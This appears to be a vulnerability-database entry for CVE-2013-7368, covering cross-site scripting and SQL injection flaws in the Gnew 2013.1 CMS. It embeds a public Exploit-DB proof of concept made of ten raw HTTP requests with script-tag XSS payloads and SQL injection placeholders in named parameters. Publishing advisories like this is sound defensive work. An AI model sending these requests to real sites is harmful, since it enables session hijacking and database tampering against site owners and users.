CVE-2013-7368

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Published 2014-04-15 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Multiple cross-site scripting (XSS) vulnerabilities in Gnew 2013.1 allow remote attackers to inject arbitrary web script or HTML via the gnew_template parameter to (1) users/profile.php, (2) articles/index.php, or (3) admin/polls.php; (4) category_id parameter to news/submit.php; news_id parameter to (5) news/send.php or (6) comments/add.php; or (7) post_subject or (8) thread_id parameter to posts/edit.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-27522 webapps php text · 6 KB

LiquidWorm · 2013-08-12

Gnew 2013.1 - Multiple Vulnerabilities (1)

text exploit Source: Exploit-DB


Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities


Vendor: Raoul Proença
Product web page: http://www.gnew.fr
Affected version: 2013.1

Summary: Gnew is a simple Content Management
System written with PHP language and using a
database server (MySQL, PostgreSQL or SQLite)
for storage.

Desc: Input passed via several parameters is not properly
sanitised before being returned to the user or used in SQL
queries. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code and HTML/script code in a
user's browser session in context of an affected site.


============================================================================================
|     PARAM      |     TYPE    |                          FILE                             |
============================================================================================
|                                                                                          |
| gnew_template  |     XSS     | /users/profile.php, /articles/index.php, /admin/polls.php |
|------------------------------------------------------------------------------------------|
| category_id    |     XSS     | /news/submit.php                                          |
|------------------------------------------------------------------------------------------|
| news_id        |  XSS, SQLi  | /news/send.php, /comments/add.php                         |
|------------------------------------------------------------------------------------------|
| post_subject   |     XSS     | /posts/edit.php                                           |
|------------------------------------------------------------------------------------------|
| thread_id      |  XSS, SQLi  | /posts/edit.php                                           |
|------------------------------------------------------------------------------------------|
| user_email     |     SQLi    | /users/register.php, /users/password.php                  |
|                                                                                          |
============================================================================================



Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5153
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5153.php



23.07.2013

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#1 [xss]

GET /gnew/users/profile.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/admin/index.php
Cookie: PHPSESSID=8nta354i78d5att3l2gkh9g573; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean"><script>alert(1)</script>
Connection: keep-alive


#2 [xss]

POST /gnew/news/submit.php HTTP/1.1
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1"><script>alert(2);</script>&news_source=1&news_subject=1&news_text=1&preview=Preview&submit=Submit


#3 [xss]

POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

friend_email=lab@zeroscience.mk&html_email=1&news_id=572"><script>alert(3);</script>&send=Send&user_email=root@att.com&user_name=admin


#4 [xss]

POST /gnew/comments/add.php HTTP/1.1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

add=Add&comment_subject=1&comment_text=1&news_id=574"><script>alert(4);</script>&preview=Preview


#5 [sqli]

POST /gnew/news/send.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

friend_email=lab@zeroscience.mk&html_email=1&news_id=572{SQL Injection}&send=Send&user_email=root@att.com&user_name=admin


#6 [xss]

POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=zsl"><script>alert(5);</script>&post_text=test&preview_edited=Preview&thread_id=6


#7 [xss]

POST /gnew/posts/edit.php HTTP/1.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6"><script>alert(6);</script>


#8 [sqli]

POST /gnew/posts/edit.php HTTP/1.1
Host: localhost
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:80/gnew/
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate

category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6{SQL Injection}


#9 [sqli]

POST /gnew/users/password.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

user_name=test&user_email={SQL Injection}&password=Send


#10 [sqli]

POST /gnew/users/register.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/gnew/users/password.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

user_name=test&user_email={SQL Injection}&password=Send

Application impact

Vendor	Product	Versions	Fixed
raoul_proenca	gnew	`2013.1`

References

CWEs

CWE-79

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